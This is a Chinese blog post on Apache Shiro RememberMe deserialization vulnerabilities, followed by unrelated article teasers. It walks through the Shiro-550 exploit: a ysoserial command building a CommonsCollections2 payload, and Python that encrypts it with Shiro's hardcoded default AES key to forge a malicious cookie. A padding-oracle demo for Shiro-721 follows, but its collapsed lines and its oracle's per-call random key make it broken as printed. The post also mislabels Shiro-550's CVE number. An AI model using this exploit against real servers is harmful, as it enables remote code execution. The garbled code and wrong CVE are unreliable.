一、关于shiro介绍
简单讲,shiro是apache旗下的一个Java安全框架,轻量级简单易上手,框架提供很多功能接口,常见的身份认证 、权限认证、会话管理、Remember 记住功能、加密等等。

二、漏洞分析

1.CVE-2019-12422-shiro550
漏洞原理:shiro会对Remember Me功能带的cookie字段进行解密并进行反序列化,解密过程为base64解码------AES-CBC解密------反序列化,所以我们只需要逆向构造数据包就能触发漏洞,Apache Shiro ≤1.2.4版本的AES密钥是硬编码,尝试爆破常见的key就能触发。
在这里插入图片描述
目前市场上利用工具很多,手工构造也可以
使用工具生成反序列化文件,AES加密后结果base64密码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 “calc” > 2.txt
在这里插入图片描述

from _ast import Lambda
from Crypto.Cipher import AES 
import uuid,base64
key = "kPH+bIxk5D2deZiIxcaaaA=="
file=open("2.txt",'rb')
bs = AES.block_size
pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()
key = base64.b64decode(key)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file2 = pad(file.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file2))
result = str(base64_ciphertext, encoding='utf-8')
f4 = open("3.txt","w")
f4.write(result)

2.CVE-2019-12422-shiro721
漏洞原理:影响1.2.5至1.4.1版本,包括1.3.x和1.4.0系列,在shiro550基础上加入随机key,改变硬编码不能直接爆破key,但AES-128-CBC模式易受填充提示攻击(Padding Oracle Attack),攻击者需通过有效RememberMe Cookie作为前缀逐步爆破密钥,从而触发漏洞。利用难度较高,需要登录后拿到cookie,漏洞主要利用了AES-CBC加密模式的安全缺陷进行了密钥破解。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import base64# 模拟存在Padding Oracle漏洞的服务器
def padding_oracle(encrypted_data):key = get_random_bytes(16)iv = encrypted_data[:16]ciphertext = encrypted_data[16:]try:cipher = AES.new(key, AES.MODE_CBC, iv)plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)return True  # 填充正确时返回Trueexcept (ValueError, KeyError):return False  # 填充错误或其他错误# 生成测试数据
key = get_random_bytes(16)
iv = get_random_bytes(16)
plaintext = b"Secret Message!!"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
encrypted_data = iv + ciphertext# Padding Oracle攻击实现
recovered_plaintext = b""
num_blocks = len(ciphertext) // 16# 从最后一个块开始攻击
for block_idx in range(num_blocks - 1, -1, -1):intermediate = bytearray(16)for byte_pos in range(15, -1, -1):# 构造测试块test_block = bytearray(ciphertext[block_idx*16 : (block_idx+1)*16])# 计算当前需要的填充值padding_value = (16 - byte_pos) % 16if padding_value == 0:padding_value = 16# 暴力破解当前字节found = Falsefor guess in range(256):# 构造中间值for prev_byte in range(byte_pos + 1):test_block[prev_byte] = ciphertext[block_idx*16 + prev_byte] ^ intermediate[prev_byte]# 设置当前猜测字节test_block[byte_pos] = guess ^ padding_value# 构造完整的加密数据modified_data = iv + bytes(test_block) + ciphertext[(block_idx+1)*16:]if padding_oracle(modified_data):intermediate[byte_pos] = guess ^ ciphertext[block_idx*16 + byte_pos] ^ padding_valuerecovered_plaintext = bytes([guess ^ intermediate[byte_pos]]) + recovered_plaintextfound = Truebreakif not found:raise ValueError("攻击失败")print(f"原始明文: {plaintext}")
print(f"恢复的明文: {recovered_plaintext}")

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/90395.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/90395.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/90395.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EF提高性能(查询禁用追踪)(关闭延迟加载)

EF默认是支持延迟加载的,在加载一个表的数据时,会把关联表的数据一并加载,这样会影响性能。 一般建议关闭延迟加载可以提高EF加载的性能。还有其他方法提高性能(查询禁用追踪) 如果要实现延迟加载,必须满足…

Leetcode+JAVA+贪心III

134.加油站在一条环路上有 n 个加油站,其中第 i 个加油站有汽油 gas[i] 升。你有一辆油箱容量无限的的汽车,从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i] 升。你从其中的一个加油站出发,开始时油箱为空。给定两个整数数组 gas 和 …

Qt信号与槽机制及动态调用

Qt信号与槽机制及动态调用一、信号与槽1、Qt信号与槽机制概述2、信号与槽的基本使用3、信号与槽的特性4、使用Lambda表达式作为槽5、信号与槽的参数传递6、注意事项二、动态调用机制1、基本用法2、示例代码3、带参数的调用4、返回值处理5、信号与槽的动态连接6、动态方法调用7、…

K8s系列之:Kubernetes 的 OLM

K8s系列之:Kubernetes 的 OLM 什么是 Kubernetes 的 OLM什么是Kubernetes中的OperatorOLM 的功能OLM 的核心组件OLM优势OLM 的工作原理OLM 与 OperatorHub 的关系OLM示例场景什么是CRDoperator 和 CRD的关系为什么需要 CRD 和 OperatorCRD定义资源类型DebeziumServer如何使用d…

前端-HTML-day2

目录 1、无序列表 2、有序列表 3、定义列表 4、表格-基本使用 5、表格-结构标签 6、表格-合并单元格 7、表单-input基本使用 8、表单-input占位文本 9、表单-单选框 10、表单-上传多个文件 11、表单-多选框 12、表单-下拉菜单 13、表单-文本域 14、表单-label标签…

两种方式清除已经保存的git账号密码

方式一随便选择一个文件夹,然后鼠标右键-》TortoiseGit ->设置选择已保存的数据-》认证数据-》清除-》点击确定方式二 控制面板\用户帐户\凭据管理器-》windows凭据普通凭据-》找到git信息-》选择删除

Using Spring for Apache Pulsar:Message Production

1. Pulsar Template在Pulsar生产者端,Spring Boot自动配置提供了一个用于发布记录的PulsarTemplate。该模板实现了一个名为PulsarOperations的接口,并提供了通过其合约发布记录的方法。这些send API方法有两类:send和sendAsync。send方法通过…

CSS揭秘:10.平行四边形

前置知识:基本的css变形一、平行四边形 要实现一个平行四边形,可以使用CSS的skew变形属性来倾斜元素。 transform: skewX(-45deg);图-1显示容器和内容都出现了倾斜,该如何解决这个问题? 二、嵌套方案 我们通过将内容嵌套 div 并使…

深度学习 必然用到的 线性代数知识

把标量到张量、点积到范数全串起来,帮你从 0 → 1 搭建 AI 数学底座 🚀 1 标量:深度学习的最小单元 标量 就是一维空间里的“点”,只有大小没有方向。例如温度 52 F、学习率 0.001。 记号:普通小写 x;域&am…

OpenGL ES 纹理以及纹理的映射

文章目录开启纹理创建纹理绑定纹理生成纹理纹理坐标图像配置线性插值重复效果限制拉伸完整代码在 Android OpenGL ES 中使用纹理(Texture)可以显著提升图形渲染的质量和效率。以下是使用纹理的主要好处: 增强视觉真实感 纹理可以将复杂的图像…

从金字塔到个性化路径:AI 正在重新定义学习方式

几十年来,我们的教育系统始终遵循着一条熟悉的路线: 从小学、初中、高中,再到大学和研究生。这条标准化的路径(K-12 到研究所)结构清晰,却也缓慢。但在当今这个信息爆炸、知识快速更新、个性化需求高涨的时…

产品经理岗位职责拆解

以下是产品经理岗位职责的详细分解表,涵盖工作内容、核心动作及输出成果:岗位职责具体工作内容输出成果1. 日常版本迭代管理需求分析及PRD产出协调资源推动产品上线- 收集业务/用户需求,分析可行性及优先级- 撰写PRD文档,明确功能…

后端微服务基础架构Spring Cloud

版本关系 版本发布说明-阿里云Spring Cloud Alibaba官网 选择 创建项目 创建父项目 什么都不动&#xff0c;创建即可 1) 删掉没用的文件 保留 2) pom中加入 打包方式 <packaging>pom</packaging> 3) 删掉src 4) pom.xml中删除没用的 5)更改pom.xml中 spring…

数据分析框架和方法

一、核心分析框架 (The Big Picture Frameworks)​​描述性分析 (What Happened?)​​​​目的&#xff1a;​​ 了解过去发生了什么&#xff0c;描述现状&#xff0c;监控业务健康。​​核心工作&#xff1a;​​ 汇总、聚合、计算基础指标 (KPI)&#xff0c;生成报表和仪表盘…

电路研究9.3.10——合宙Air780EP中的AT开发指南:阿里云应用指南

这个好像也用不到&#xff0c;不过可以先贴出来。简单看了一下也没深入分析&#xff0c;直接扒过来了&#xff0c;感觉涉及到了上位机的学习了。我这下位机的可能用不到&#xff0c;就是贴过来好了。 应用概述 使用 AT 方式连接阿里云分为一机一密和一型一密&#xff0c;其中一…

[Backlog] 核心协调器 | 终端用户界面(TUI)实现 | 多分支任务冲突解决 | 测试验证体系

第8章 核心协调器 欢迎回到Backlog.md&#xff01; 在上一章文件系统操作中&#xff0c;我们深入了解了数据物理存储层面的读写机制。本章将聚焦系统的神经中枢——核心协调器。 核心协调器的本质&#xff08;中央决策引擎&#xff09; 如果将Backlog.md视为项目管理团队&a…

车载以太网-TC8测试-UT(Upper Tester)

目录 一、技术原理:指令体系与协议适配1. **指令格式与传输机制**2. **协议栈交互逻辑**3. **规范遵循与版本演进**二、测试应用:TC8测试场景与案例1. **TCP协议栈深度验证**2. **ARP协议健壮性测试**3. **SOME/IP服务动态管理**三、实现挑战与解决方案1. **实时性要求**2. *…

扣子Coze纯前端部署多Agents

纯前端网页搭建&#xff0c;无需任何后端代码&#xff0c;方便快捷&#xff01; 就像公司前台的多功能控制台&#xff0c;员工可以通过按钮快速呼叫不同的AI助手。具备多设备适配、智能对话等基础能力。 支持添加多个智能体 配置方式 添加智能体信息&#xff0c;data-bot为智…

STM32中I2C协议详解

前言 在嵌入式系统中&#xff0c;设备间的短距离通信协议中&#xff0c;I2C&#xff08;Inter-Integrated Circuit&#xff0c;集成电路互连&#xff09;以其信号线少、布线简单、支持多从机等特点&#xff0c;被广泛应用于传感器、EEPROM、OLED屏等中低速外设的通信场景。与SP…

解锁Spring Boot多项目共享Redis:优雅Key命名结构指南

引言Redis 基础与 Spring Boot 集成Redis 简介Redis&#xff0c;即 Remote Dictionary Server&#xff0c;是一个开源的基于内存的数据结构存储系统&#xff0c;可用作数据库、缓存和消息中间件 。它具备诸多显著特性&#xff0c;使其在现代软件开发中占据重要地位。Redis 的读…